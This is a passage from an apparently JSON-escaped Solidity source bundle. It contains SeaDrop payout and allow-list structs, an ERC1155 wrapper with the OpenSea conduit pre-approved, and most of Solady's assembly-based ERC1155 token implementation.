creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n"
},
"src/lib/ERC1155ConduitPreapproved.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n"
},
"lib/solady/src/tokens/ERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// 